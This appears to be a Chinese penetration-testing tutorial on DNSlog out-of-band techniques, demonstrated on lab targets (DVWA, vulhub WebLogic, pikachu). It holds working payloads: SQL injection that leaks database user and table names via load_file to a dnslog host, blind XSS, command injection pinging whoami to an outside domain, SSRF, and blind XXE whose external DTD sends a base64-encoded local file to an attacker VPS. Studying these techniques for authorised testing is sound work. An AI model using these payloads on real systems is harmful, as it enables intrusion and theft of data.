文章来源:国科漏斗社区
1.什么是dnslog
要求DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com
等的访问信息,类似日志文件
2.dnslog通常用在哪个地方
1.SQL盲注 2.无回显的XSS 3.无回显的命令执行 5.无回显的SSRF 5.Blind XXE
2.1.SQL盲注
无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。
以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空
payload: select load_file(concat('\\',(select hex(user())),'.dnslog\aa')); 注意:后面的aa文件存不存在不重要,随便写都行,但是必须要写,因为是load_file函数需要的条件
以dvwa靶场为例(已手动修改:secure_file_priv=”):
payload: 1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //查看当前用户 1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))# //查数据库 1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))# //查询当前数据库第一个表,第二个类推
2.2.无回显的XSS
payload: <ImG src=http://xss.9e5ehg.dnslog.cn>
然后回头看下dnslog,证明漏洞存在。
2.3.无回显的命令注入
发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有漏洞。
windows: ping %USERNAME%.us0r6c.dnslog.cn
linux: ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn
下面是windows常用的变量。
//变量 类型 描述 //%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 //%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 //%CD% 本地 返回当前目录字符串。 //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 //%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 //%COMPUTERNAME% 系统 返回计算机的名称。 //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。 //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。 //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。 //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。 //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 //%PATH% 系统 指定可执行文件的搜索路径。 //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。 //%PROCESSOR_REVISION% 系统 返回处理器的版本号。 //%P ROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。 //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 //%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 //%USERNAME% 本地 返回当前登录的用户的名称。 //%USERPROFILE% 本地 返回当前用户的配置文件的位置。 //%WINDIR% 系统 返回操作系统目录的位置。
2.4.无回显的SSRF
这边用的是vulhub的一个weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn 然后查看dnslog有记录,就很有可能存在ssrf漏洞
2.5.Blind XXE
这边用的是pikachu靶场,项目地址:https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源码前,可以看到是有回显的。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini" > ]> <value>&xxe;</value>
2.5.2.修改源码,使其变成无回显。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" > ]> <value>&xxe;</value>
无回显,但是可以看到dnslog收到请求,证明xxe漏洞存在。
文件读取
注:这里需要一个VPS,VPS中放入一个DTD的文件,文件dtd内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">
然后利用python3开启http服务。
python3 -m http.server --bind 0.0.0.0 1333
pyload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>
burp suite提交数据后,vps获得一串base64编码。
将base64编码拿去解码后就是my.ini的文件内容。
结语
以上就是斗哥的技巧分享啦!
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.
作者:l1ch,转载于国科漏斗社区。
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习,一如既往的整理,一如即往的分享
“如侵权请私聊公众号删文”
推荐阅读↓↓↓
我知道你在看哟
原文始发于微信公众号(渗透Xiao白帽):分享 | Dnslog盲打小技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论